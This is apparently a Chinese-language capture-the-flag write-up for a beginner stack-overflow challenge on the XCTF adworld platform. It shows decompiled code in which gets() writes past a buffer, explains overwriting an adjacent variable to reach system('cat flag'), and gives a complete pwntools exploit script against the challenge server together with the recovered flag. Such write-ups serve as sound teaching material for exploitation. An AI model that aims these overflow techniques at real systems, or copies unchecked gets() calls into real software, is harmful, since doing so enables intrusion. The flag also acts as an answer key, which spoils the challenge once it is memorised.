CTF最简单的入门题(栈溢出)

题目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5051&page=1

题目描述:只要知道你的年龄就能获得flag,但菜鸡发现无论如何输入都不正确,怎么办?

解题过程:

  • 首先将附件下载并上传到linux系统里面
  • 使用checksec检测附件里的可执行文件开启的各种安全机制

  • 再用file命令看一下程序是什么文件类型

  • 然后把文件拖到IDA里面,按F5,看一下main函数

    __int64 __fastcall main(__int64 a1, char **a2, char **a3)
      {
    __int64 result; // rax
    char v4; // [rsp+0h] [rbp-20h]
    unsigned int v5; // [rsp+8h] [rbp-18h]
    unsigned __int64 v6; // [rsp+18h] [rbp-8h]
      
    v6 = __readfsqword(0x28u);
    setbuf(stdin, 0LL);
    setbuf(stdout, 0LL);
    setbuf(stderr, 0LL);
    puts("What's Your Birth?");
    __isoc99_scanf("%d", &v5);
    while ( getchar() != 10 )
      ;
    if ( v5 == 1926 )
    {
      puts("You Cannot Born In 1926!");
      result = 0LL;
    }
    else
    {
      puts("What's Your Name?");
      gets(&v4);
      printf("You Are Born In %d\n", v5);
      if ( v5 == 1926 )
      {
        puts("You Shall Have Flag.");
        system("cat flag");                            
      }
      else
      {
        puts("You Are Naive.");
        puts("You Speed One Second Here.");
      }
      result = 0LL;
    }
    return result;
      }
  • 经过分析,如果想要执行 system("cat flag");这行代码,那么要让v5 = 1926,可是如果第一次输入1926的话,就会直接跳过cat flag,那么就可以使用栈溢出,溢出点就在gets(&v4)函数,因为它没有对v4进行任何检查,在输入v4的时候覆盖v5的值,让v5 = 1926,然后就可以cat flag了
  • 查看栈区,发现v4到v5差0x20-0x18个字节

  • 情报已经收集完毕,开始写exp
#调用pwntools库
from pwn import *    

#地址和端口是在题目网址里点击获取在线场景得到的,地址可以是ip也可以是url
#remote用来建立远程链接
p = remote("220.249.52.133",30462)    

#当程序输出What's Your Birth?之后,发送2333
p.sendlineafter("What's Your Birth?","2333")

#'a'*8代表把0x20到0x19的栈区都覆盖‘a',再覆盖一个64位的1926,就成功覆盖了0x18,也就是v5
#因为当前二进制可执行程序是64位的,所以要用p64
payload = 'a'*8+p64(1926)

#当程序输出What's Your Name?之后,发送payload
p.sendlineafter("What's Your Name?",payload)

#与当前程序进行交互,将控制权交给用户,这样就可以使用打开的shell了
p.interactive()
  • 运行exp文件效果

  • 这样就已经拿到flag
    flag:cyberpeace{95759a50c29f40a0302a4fb5a394dd6c}
Last modification:July 3rd, 2020 at 07:42 pm